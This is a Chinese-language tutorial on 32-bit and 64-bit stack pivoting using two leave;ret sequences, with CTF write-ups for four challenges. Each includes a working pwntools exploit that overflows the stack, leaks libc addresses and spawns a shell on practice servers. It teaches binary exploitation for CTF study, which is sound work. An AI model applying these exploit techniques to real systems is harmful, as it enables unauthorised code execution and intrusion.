本文討論的一切原理,都是針對於32位程序的棧遷移來說的,不過例題里面有一道是64位的棧遷移
1、什么是棧遷移
這里我談談自己的理解,簡單一句話:棧遷移就是控制程序的執行流(這個換的地方既可以是bss段也可以是棧里面),此時新的問題隨之產生,為什么要換個地方GetShell,這就是下一段要說的為什么要使用棧遷移。
2、為什么要使用棧遷移&&什么時候該使棧遷移(使用棧遷移的條件)
言簡意賅的來說,就是可溢出的長度不夠用,也就是說我們要么是沒辦法溢出到返回地址只能溢出覆蓋ebp,要么是剛好溢出覆蓋了返回地址但是受payload長度限制,沒辦法把參數給寫到返回地址后面。總之呢,就是能夠溢出的長度不夠,沒辦法GetShell,所以我們才需要換一個地方GetShell。
使用棧遷移的條件:
1、要能夠棧溢出,這點尤其重要,最起碼也要溢出覆蓋個ebp
2、你要有個可寫的地方(就是你要GetShell的地方),先考慮bss段,最后再考慮寫到棧中
3、學習棧遷移需要自身掌握什么知識
①需要掌握匯編基礎②較為熟悉棧結構③以及熟悉函數調用與結束時棧的變化。如果掌握了這些知識,那么聽下面的內容就不會太費力氣了。當然如果你會用gdb進行調試的話,通過自己的動手調試,你將理解的更為透徹。如果你和我當初一樣,也是對棧遷移一無所知,那么希望你可以仔細閱讀下面的內容,我會幫你徹底理解它。
4、棧遷移的原理
閱讀須知:
ebp和ebp的內容是兩碼事(它們二者的關系就如同c語言中,指針p與*p的關系),以下圖為例
ebp是0xffe7a9e8,它的內容是0xffe7aa38,而這個內容也是一個地址,這個地址里面裝的又是0x8059b50。ebp本身大部分時候都是一個地址(程序正常運行情況下),而ebp的內容可以是地址,也可以不是地址(程序正常運行下,ebp的內容也裝的是地址,但如果你進行溢出的話,自然可以不裝成地址)。我這里想強調的是ebp和ebp的內容這兩者一定不能混為一談,在閱讀下面的內容是,一定要注意區分兩者。
棧遷移的核心,就在於兩次的leave;ret指令上面
(在說明棧遷移原理之前,我先介紹一下leave和ret具體是在干什么,這里建議仔細看一下,不然后面連續兩個leave;ret,容易搞迷了)。
leave指令即為mov esp ebp;pop ebp先將ebp賦給esp,此時esp與ebp位於了一個地址,你可以現在把它們指向的那個地址,即當成棧頂又可以當成是棧底。然后pop ebp,將棧頂的內容彈入ebp(此時棧頂的內容也就是ebp的內容,也就是說現在把ebp的內容賦給了ebp)。因為esp要時刻指向棧頂,既然棧頂的內容都彈走了,那么esp自然要往下挪一個內存單元。具體實現請見下圖。ps:下面幾張圖片,當時制作的時候,有點粗心,把leave寫成level了,因此讀的時候注意下這里就好了。
ret指令為pop eip,這個指令就是把棧頂的內容彈進了eip(就是下一條指令執行的地址)具體實現請見下圖。
棧遷移原理:
(先討論main函數里的棧遷移)首先利用溢出把ebp的內容給修改掉(修改成我們要遷移的那個地址),並且把返回地址填充成leave;ret指令的地址(因為我們需要兩次leave;ret)(如果不會找指令地址的話,本文最后的附錄中,有介紹)此時main函數准備結束。
開始執行第一個leave,此時mov esp ebp讓兩個指針處於同一位置,現在還是正常運行,接着執行pop ebp就出現了異常,因為此時ebp的內容被修改成了要遷移的地址,因此執行了pop ebp,ebp並沒有彈到它本應該去的地方(正常情況下,ebp里裝的內容,就是它接下來執行pop ebp要去的地方),而是彈到了我們修改的那個遷移后的地址,接着執行了pop eip,eip里放的又是leave的地址(因為此時是把返回地址彈給eip,這個返回地址,我們先給覆蓋成leave;ret的地址。你可能會問,如果這個返回地址不放成leave;ret的地址,行不行?很明顯是不行的,因為我們想要實現棧遷移,就必須執行兩個leave;ret,main函數正常結束,只有一個level;ret,因此我們在這里必須要它的返回地址寫成leave;ret地址,以來進行第二次leave;ret),結果又執行了leave(現在執行第二個leave),此時才是到了棧遷移的核心部分,mov esp ebp,ebp賦給了esp,此時esp挪到了ebp的位置,可你別忘了,現在的ebp已經被修改到了我們遷移后的地址,因此現在esp也到了遷移后的地址,接着pop ebp,把這個棧頂的內容彈給ebp,esp指向了下一個內存單元,此時我們只需要將這個內存單元放入system函數的地址,最后執行了pop eip,此時system函數進入了eip中,我們就可以成功GetShell了。結合描述過程與下圖分析,效果更佳!(下圖棧中填充的aaaa以及system_addr和/bin/sh等等,都是payload一起發送過去的,最后的兩個aaaa僅僅是起到了一個填充的效果)當然,具體的payload都是根據題目來分析的,這里我只是舉個例子。
最后來總結一下原理,核心是利用兩次的leave;ret,第一次leave ret;將ebp給放入我們指定的位置(這個位置的就是遷移后的所在位置),第二次將esp也遷移到這個位置,並且pop ebp之后,esp也指向了下一個內存單元(此時這里放的就是system函數的plt地址),最終成功GetShell。
原理如上,遇見不同棧遷移的題目也是根本核心萬變不離其宗。
5、棧遷移的實戰運用
接下來是有四道棧遷移的題目來練習。分別是
攻防世界上的greeting-150
BUUCTF上的[Black Watch 入群題]
BUUCTF上的ciscn_2019_es_2
BUUCTF上的gyctf_2020_borrowstack
它們考察了在遷移到棧,遷移到bss段,從main函數結束時遷移,從main函數調用的函數結束時遷移,和64位的棧遷移以及ret2csu。在這里,我分別也給出他們的wp。
————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————
BUUCTF上的ciscn_2019_es_2
這里我們發現了溢出點。Read讀入到s的這個地方,距離ebp只有0x28個字節,可是兩個read都可以寫入0x30個字節的內容,也就是說可以溢出覆蓋ebp和返回地址。
我們還發現了后門函數,但是沒有參數。
那現在大概思路就是,我們要用第一個read來泄露下ebp的地址*(因為是printf來打印字符串,參數是%s,因此是遇見00才停止打印,只要我們第一次read正好輸入0x30個字符,那就沒有地方在填上00了(read讀入之后,會自動補充00),因此就可以把下面的ebp地址給打印出來了*),然后第二個read用來填充我們構造的system函數以及參數(我們這次是轉移到了棧中,也就是第一次read讀入s的地方),參數分布參考上圖
為什么要拿到ebp地址呢,看上圖的/bin/sh地址,我們怎么知道它的地址是什么呢,我們不知道,但是我們知道它距離ebp的偏移(通過IDA的棧圖可以數出來),因此我們需要獲得ebp的值,配合偏移來表達出這個地址,*這里要尤其注意這個ebp是main函數的,因為printf是打印內存單元里的內容,ebp確實是指向了vul的棧底,但是ebp里面裝的內容可是main函數的棧底,因此這個ebp是main函數的棧底*。至於這個0x28怎么來的呢?
這里要用gdb調試一下,斷點下到哪無所謂,主要就是要看vul函數快結束的時候,看下棧圖。
當然,你實際做題的時候,肯定是看不見/bin/sh裝到哪了,不過沒事,在IDA里面我們分析一下,然后看一下它裝在哪了,還是這個圖,發現/bin/sh裝在了距離棧頂是有四個內存單元的距離,然后再到gdb上去數一下,也就是我們的字符串會存到0xffd9d730這個位置,然后用0xffded758減去這個0xffd9d730,就能得到這個偏移0x28了。
最后的exp如下:
from pwn import *
\#p=remote('node4.buuoj.cn',25986)
p=process('./a')
context(arch='i386',os='linux',log_level='debug')
payload1=0x20*'a'+0x8*'b'
e=ELF('./a')
level_ret_addr=0x08048562
sys_addr=e.plt['system']
p.recvuntil("Welcome, my friend. What's your name?\n")
p.send(payload1)#第一次僅僅就是為了泄露main函數的ebp
p.recvuntil('bbbbbbbb')
ebp=u32(p.recv(4))
payload2=('aaaa'+p32(sys_addr)+p32(0)+p32(0xffd9d730)+'/bin/sh').ljust(0x28,'\x00')+p32(ebp-0x38)+p32(level_ret_addr)#這個ljust的意思是說不足0x28的部分補成00(也就是我在上圖中標注的垃圾數據)這個0x38的偏移算法和上面那個0x28是相同的,這個地址是棧頂的地址,也就是我們payload中aaaa的地址,要用這個地址去覆蓋ebp
p.send(payload2)
p.interactive()
————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————
攻防世界上的greeting-150
這里表面上是看開了canary,但是在主要的函數中,沒有發現canary的影子,因此,這個canary保護,在這里是有點迷惑性的,我們可以去溢出。
首先這里面有幾個地方困擾我了很久,我在這里面提一下。
首先是memcpy函數,
在這里,我一直以為這個的意思是把input的地址賦值給v4的地址,然后卡了我很久,仔細又看了下memcpy函數的簡介

這個memcpy的參數本來要的就是地址,是把地址里的內容復制給另一個地址里的內容,而strcpy是直接把一個變量的內容復制給另一個變量的內容,二者效果差不多,只不過要的參數類型不一樣。
在圖中(上上上圖)標注了,base64decode,是將解碼后的內容放在了v4里面,而不是v6里面,v6里放的是解碼后的字符串長度。
我之前看師傅們的wp一直納悶,這輸入的內容也沒有被編碼過,咋就到這里可直接就解碼了,最后看到了exp才明白,原來是我們發送payload時候,我們自己去編碼…,配合這個信息,我也就明白了,原來v6>0xc的這個限制,是說我們payload只能發送12個字節。

重要的事情說三遍
現在input里面就是payload,這個payload只能發送12個字節
現在input里面就是payload,這個payload只能發送12個字節
現在input里面就是payload,這個payload只能發送12個字節
ok,我們繼續去看auth這個函數。

找到了溢出點,在這里。[ebp-8h]的意思是說,這個v4距離ebp有八個字節的距離,可是input里面可以裝12個字節,現在memcpy就可以把input的內容復制給了v4(這個v4和main函數里的v4不是一碼事) 只能裝8個字節,但是復制了12個字節過去,有什么好說的,溢出就完事了。但是只能溢出覆蓋ebp,之前棧遷移的時候,我們為了湊齊兩次leave;ret都是將main函數的返回地址寫成leave,ret的地址,但是這道題我們沒法寫到返回地址上,怎么辦,我們沒辦法湊夠兩次leave;ret了么,不不不,別忘了我們現在可不在main函數還是在auth函數里面,當auth函數結束的時候也會執行一次leave;ret再加上main函數結束的一次leave;ret,因此我們也湊夠了兩次leave;ret。
我們需要換到哪個地方去執行后門函數呢?沒錯,就是剛才說了三遍的input

這里也可以看到input是處於bss段的。
現在我們來看這道題,我們可以往input里面輸入12個字節,那假設我輸入的是aaaabbbbcccc,(並且這個cccc是aaaabbbbcccc這個字符串的首地址)。
那么現在棧里就是這么個情況
當執行到leave的時候,mov esp ebp,此時的esp是cccc了,然后ebp原本該回到正常的main函數的棧底,可是現在它來到了cccc的這個地址(因為執行了auth函數中的leave ret,這里才是核心點)(並且要注意的是ebp內容和ebp是兩個東西,ebp的內容裝什么都可以,但是ebp本身只能去指向地址)(即此時是ebp指向了aaaa的地址,上面說了cccc的地址是指向的aaaa所處位置)。
現在程序繼續運行,因為函數的返回地址是正常的,所以它還是回到了main函數里,它又開始往下運行,直到main函數結束了,它開始執行leave,那么此時我們又一次mov esp ebp;esp成了aaaa的地址,這個時候又進行了pop ebp,那么esp成了bbbb,最后到ret的時候,pop eip,此時就會把棧頂的bbbb,彈入eip去執行了。
如果感覺我說的太抽象了,沒有圖片的話,可以參考這個師傅的文章(24條消息) format2(xctf)_whiteh4nd的博客-CSDN博客,他這里面最后畫的三張圖片,描述的很清楚,我上面的敘述過程,跟他圖片表達的是一個意思。
最后,我們拐過來看一下,eip執行了bbbb,那我們把bbbb換成后門函數的地址不就ok了,然后是cccc的這個地址,不就是我們這道題的input地址么,input本身能裝12個字節,把它本身的地址寫到cccc,就是12個字節的最后4字節,這樣不就把棧遷移到input的內容里了么(但事實上棧沒有過去,畢竟這里可是bss段)
Exp編寫很簡單
import base64
from pwn import *
p=remote('111.200.241.244',59650)
context(arch='i386',os='linux',log_level='debug')
sys_addr=0x08049284
input_addr=0x0811EB40
payload='aaaa'+p32(sys_addr)+p32(input_addr)
p.sendline(base64.b64encode(payload))
p.interactive()
至此本題也就結束了。
但通過這道題,我學到了不少的東西。
尤其是這個函數

這里我一直是在想怎么把input寫成這個-559038737,而忘記了其實不必循規蹈矩,因為沒開pie,我們完全可以把這個system函數的地址去弄到eip里面使其執行。也認識到了找漏洞點的重要性,上來就去仔細分析函數的功能用處不大,大致掃過即可,先去找明顯的漏洞點,在圍繞這個漏洞點想一下,我們能利用它做些什么。
————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————
————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————
BUUCTF上的[Black Watch 入群題]

打開IDA發現,主程序中,buf距離棧底有0x18個字節,但是最后的一個read卻可以讀入0x20個字節,很明顯這里存在溢出,但是吧,這個溢出的長度也是很尷尬的,我們確實可以填入system函數地址,但是這樣就沒辦法傳參數了,而且我們發現程序里也沒有system函數,因此肯定還是要泄露函數地址,用libc里面的system獲取shell。
我們發現這里的溢出剛好可以覆蓋ebp和返回地址,很明顯這里要用棧遷移。然后我們再看下第一個read把輸入的內容儲存到哪了

發現是存到了bss段。
那我們的思路大概就出來的,首先把在第一次輸入中read去把write_plt的地址和它的參數存進去,因為我們想要system函數地址肯定是需要先泄露libc基地址的。然后第二次輸入去把ebp給改成bss段的地址,然后把返回地址改成leave,ret地址(具體原因參考棧遷移原理)
然后程序從main函數返回的時候,被劫持到了bss段,去執行了write函數,泄露出來write函數的got地址,並且把它的返回地址填寫成main函數,因為我們需要再讓程序跑一次,畢竟我們最終可是要去執行system函數的,現在只是把libc基地址給泄露出來了而已。
現在執行完了write函數,然后返回到main函數重新獲得了兩次輸入的機會,那么我們依然如法炮制,在第一次輸入中存入system函數地址和它的參數,此時各單位以就位,就差了修改ebp了,然后來到了第二次輸入,我們先填充垃圾數據,直到填充至ebp,然后把ebp的地址寫成bss段的地址,還要把返回地址寫成leave;ret的地址。
最后main函數返回的時候就進行了棧遷移,來到了我們步驟的bss段,然后執行system函數,成功GetShell。
以上只是介紹了本題的思路,但是沒有探究原理,具體原理參考前面的棧遷移原理部分。
本題的exp
from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',27917)
context(arch='i386',os='linux',log_level='debug')
e=ELF('./spwn')
write_plt=e.plt['write']
write_got=e.got['write']
read_plt=e.plt['read']
main_addr=0x08048513
payload1='aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.recvuntil('What is your name?')
p.send(payload1)
p.recvuntil('What do you want to say?')
payload2='a'*0x18+p32(0x0804A300)+p32(0x08048511) #前面的是bss段地址,后面這個地址是level;ret地址
p.send(payload2)
write_addr=u32(p.recv(4))
obj=LibcSearcher('write',write_addr)
libc_base=write_addr-obj.dump('write')
sys_addr=libc_base+obj.dump('system')
bin_sh_addr=libc_base+obj.dump('str_bin_sh')
p.recvuntil('What is your name?')
payload3='aaaa'+p32(sys_addr)+p32(0)+p32(bin_sh_addr)
p.send(payload3)
p.recvuntil('What do you want to say?')
payload4='a'*0x18+p32(0x0804A300)+p32(0x08048511)
p.send(payload4)
p.interactive()
這里有一個很重要的點,一定要注意,就是這里第二次輸入的時候,必須要用send去發送,不能用sendline發送
下圖的左側是使用send發送了0x20個數據,右側使用的是sendline發送了0x20個數據,可以發現,右側最后發送是多了一個回車,此時程序本來是正常要發送一句hello good ctfer!what is you name?然后會等待用戶發送一個內容,然后顯示what you want to,左側的確是這樣,但右側直接what is you name?之后把what you want to給打印出來了,也就根本沒有讓用戶輸入內容,為什么?因為sendline多出來的回車,存放到了緩沖區里面,下次輸入的時候,程序直接就把緩沖區里的內容讀進去了,發現是個回車,程序認為你的輸入已經結束了,因此就打印了what you want to,事實上你根本就還沒輸入。
由此可見,在任何時候發送數據,選擇sendline時,都需謹慎。
BUUCTF上的gyctf_2020_borrowstack
這道題,不知道什么原因,用遠程的exp是打不通本地的。因此這里我遠程和本地的wp分別寫了一份。二者的前面是一模一樣的(但是后面的思路是不一樣的),如果看過其中一份,那么另一份前面的內容跳過即可。
打遠程的WP
主程序很簡單,也發現了溢出點在第一次輸入上,read讀入buf的時候,可以溢出16個字節,也就是溢出兩個內存單元的內容。
可以發現,我們僅僅能控制rbp和返回地址。並且第二次輸入的bank,輸入到了bss段
那我們就可以考慮棧遷移,把需要構造的payload轉移到bss段。同時也沒有發現后門函數和/bin/sh參數。
我們先說一下正常的思路。之前講過了棧遷移的原理,因此我們第一次的read肯定是前面填充垃圾數據,然后把rbp填充成我們要遷移的地址,然后返回地址寫一個level;ret指令的地址。然后第二次輸入到bss段去構造我們的payload。因為我們沒有后門函數,那只能去泄露一個函數地址,然后去動態庫里面找后門函數,接着把返回地址填寫成main函數的地址,然后再來一次棧遷移,去構造獲取shell的payload。
但是這道題有好幾個地方需要去注意。首先是我們看一下寫入bss段地址。
發現了got表離這個bss段地址是很近的,因為我們要把棧遷移到bss段,就是可以把這個bss段給看成棧了,我們會在這個“棧”里面調用puts函數去泄露函數地址,但是調用puts的時候會開辟新的棧幀從而改變地址較低處的內容(不僅僅是got表,還有FILE *stdout和FILE *stdin),導致程序崩潰。這里光說的話,比較抽象,我在這里詳細講一下。
因為這里的地址0x601060存放的是stdout指針,然后等到返回main函數之后又會執行setbuf(stdout, 0LL);可是因為這個0x601060距離我們遷移到的bss段這里太近了(我們遷移到的地址是0x601080),當執行put函數的時候執行了一次sub rsp 0x18,並且還執行了多次的push,此時的0x601060已經被覆蓋成別的內容了具體情況參考下面的圖【1】和圖【2】
圖【1】
圖【2】
可以看見這兩張圖片,都因為調用了puts函數,從而影響了棧的變化,修改了stdout指針。等到返回main函數的時候,執行了setbuf(stdout, 0LL),從而導致程序崩潰。
因此在這里我們的思路是利用ret指令,把構造的payload的存入稍微高點的地址空間,這樣即使執行了puts函數開辟了棧幀,也依舊沒有干擾到0x601060所存放的stdout指針。
繼續說這個思路遇見的問題,因為要利用ret指令往下遷移來進行“棧”的布局,但是用多少個ret往下滑,這個只能去一次一次試。發現至少填充20個ret就可以把"棧"遷移到一個不會影響程序運行的地方。也就是說我們只要第二次先輸入20個ret,然后正常的寫一個pop_rdi的指令,然后是puts的got地址,接着就填寫puts的plt地址,最后把返回地址填寫成main函數。這樣就泄露出來了libc_base,然后找到libc版本(打本地和遠程找libc版本是方法是不一樣的)我這里說下遠程的libc版本怎么找,看網上師傅們說是泄露函數地址的后三位,然后上網站上搜索libc版本,可是我試了下不行(不知道是哪出了問題),然后有位師傅告訴我他是這么找的。
發現這是ubuntu16,然后去BUUCTF上找資源(因為我這個是在BUUCTF上做的),發現資源如下
然后點一下這個64bit的這個libc,下載即可。
最后用one_gadget來搜索這個libc的庫,去找到獲取shell的語句地址。
這個constraints下面的就是這個execve執行的條件(至於哪個地址能滿足這個條件,一個一個試試就行),然后上面就是對應的地址,最后我們要用這個地址去加上libc_base,得到真正的one_gadget地址。接着返回到main函數再來一遍,這回第一次輸入的時候,我們直接把這個one_gadget給放入返回地址即可。最后要注意的就是因為返回到main函數之后,是有兩個read的,盡管我們在第一個read就覆蓋了返回地址,但是還是要把第二個read給發送一個內容,才可以結束main函數,因此我在最后一個read發送了一個'1'。
這個思路其實還有一種變形,就是在第一次read的時候,把rbp直接填充成我們要遷移之后的地址(這個地址是要保證執行puts函數也不會干擾到程序的正常數據),然后第二次輸入只需要把遷移后的地址之前全部填充成垃圾數據,然后構造payload,等到遷移之后,直接遷移到了構造的payload的這里,效果和變形之前的思路是一樣的)
from pwn import *
p=remote('node4.buuoj.cn',25199)
context(arch='amd64',os='linux',log_level='debug')
libc=ELF('libc-2.23.so')
e=ELF('./a')
puts_plt_addr=e.plt['puts']
puts_got_addr=e.got['puts']
pop_rdi_addr=0x400703
level_ret_addr=0x400699
bss_addr=0x601080
ret_addr=0x4004c9
main_addr=0x400626
payload1=0x60*'a'+p64(bss_addr)+p64(level_ret_addr)
p.send(payload1)
payload2=p64(ret_addr)*20 #這里ret最少是20個,也可以多一點
payload2+=p64(pop_rdi_addr)+p64(puts_got_addr)+p64(puts_plt_addr)
payload2+=p64(main_addr)
p.sendafter('Done!You can check and use your borrow stack now!\n',payload2)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=puts_addr-libc.symbols['puts']
shell=libc_base+0x4526a
print(hex(shell))
payload3=0x60*'a'+p64(0xdeadbeef)+p64(shell)
p.recvuntil('u want\n')
p.send(payload3)
p.recvuntil('Done!You can check and use your borrow stack now!\n')
p.send('1')
p.interactive()
打本地的wp
主程序很簡單,也發現了溢出點在第一次輸入上,read讀入buf的時候,可以溢出16個字節,也就是溢出兩個內存單元的內容。
可以發現,我們僅僅能控制rbp和返回地址。並且第二次輸入的bank,輸入到了bss段
那我們就可以考慮棧遷移,把需要構造的payload轉移到bss段。同時也沒有發現后門函數和/bin/sh參數。
我們先說一下正常的思路。之前講過了棧遷移的原理,因此我們第一次的read肯定是前面填充垃圾數據,然后把rbp填充成我們要遷移的地址,然后返回地址寫一個level;ret指令的地址。然后第二次輸入到bss段去構造我們的payload。因為我們沒有后門函數,那只能去泄露一個函數地址,然后去動態庫里面找后門函數,接着把返回地址填寫成main函數的地址,然后再來一次棧遷移,去構造獲取shell的payload。
但是這道題有好幾個地方需要去注意。首先是我們看一下寫入bss段地址。
發現了got表離這個bss段地址是很近的,因為我們要把棧遷移到bss段,就是可以把這個bss段給看成棧了,我們會在這個“棧”里面調用puts函數去泄露函數地址,但是調用puts的時候會開辟新的棧幀從而改變地址較低處的內容,導致程序崩潰。
因此在這里我們不去返回到main函數,直接返回到read函數,這樣就不會執行setbuf。
首先的第一個問題就是棧遷移之后,去執行puts函數,puts函數開辟的棧幀會去影響前面的got表中的內容,因此修改rbp時,我們把遷移的地址寫的高一點,這樣跳轉執行的時候,就不會干擾低地址的數據。
由於這是64位程序,我們要想執行read,需要去找gadget進行傳參。可是搜索之后才發現我們沒有能控制rdx和rsi的指令,這也就是說我們如果想找gadget的話,執行read函數,連輸入的地址都控制不了,因此這里采用ret2csu。
(關於這個ret2csu的細節,在另一篇博客上說明,這里只介紹大致思路),然后執行了read函數之后,直接把read返回地址填寫one_gadget地址即可獲取shell。在執行read之前先執行puts去泄露puts的got地址,然后把puts的返回地址進行ret2csu去執行read函數。執行完puts的時候要記得給接收了,然后我們要去拿到libc基址,只需要用puts的真實地址去減libc庫中的puts地址即可。用ldd去看下程序所依賴的動態庫。
獲取了動態庫的版本之后,就可以得到libc基址,然后再用one_gadget去搜索可以獲取shell的one_gadget。
至於哪個能用,一個一個試一下就行了。最后用one_gadget加上libc基址就是能夠獲取shell的地址,我們把這個指令的地址放到read的返回地址即可獲取shell。至於怎么知道read的返回地址,這里有點講究。
因為我們這里直接call read的got地址了,因此執行call的時候,會把下一條指令去當做返回地址,也就是0x4006ed
(用ida也可以看出來) 又因為返回地址一定會被存到棧里面(這時候在執行read函數之前 用gdb看一下棧 看看哪個地址里面指向的是0x4006ed)
然后就去將read函數輸入內容的地址 設置成那個棧的地址即可
#coding:utf-8
from pwn import *
p=process('./a')
context(arch='amd64',os='linux',log_level='debug')
e=ELF('./a')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_plt_addr=e.plt['puts']
puts_got_addr=e.got['puts']
read_plt_addr=e.got['read']#why got here
#call函數為跳轉到某地址內所保存的地址,應該使用got表中的地址
pop_rdi_addr=0x400703
level_addr=0x400699
bss_addr=0x601080
ret_csu_addr=0x4006FA
rsi_addr=0x601118
payload1=0x60*'a'+p64(bss_addr+0x40)+p64(level_addr)#這里多加0x40的目的就是為了執行puts的時候,不影響之前的got表中的數據
p.sendafter('u want\n',payload1)
payload2='a'*0x40+p64(0)+p64(pop_rdi_addr)+p64(puts_got_addr)+p64(puts_plt_addr)
payload2+=p64(ret_csu_addr)+p64(0)+p64(0)+p64(read_plt_addr)+p64(0x100)
payload2+=p64(rsi_addr)+p64(0)+p64(0x4006E0)#why is there an address here
#這一個4006E0僅僅是ret2csu執行了pop之后的ret的返回的地址。
#至於怎么返回到one_gadget上的,是因為read的返回地址被read自己給改了
#payload2中的第一個p64(0)是去占個地方,因為棧遷移本身的特性,遷移后的第一個內存單元不執行
p.sendafter('k now!\n',payload2)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=puts_addr-libc.symbols['puts']
one_gadget=libc_base+0x4f432
p.sendline(p64(one_gadget))#why p64 here #只要是發送地址 就要經過打包之后發送
p.interactive()
6、附錄
找leave;ret指令地址,只要在IDA里的代碼段隨便找到有leave ret出現的地方,取leave的地址即可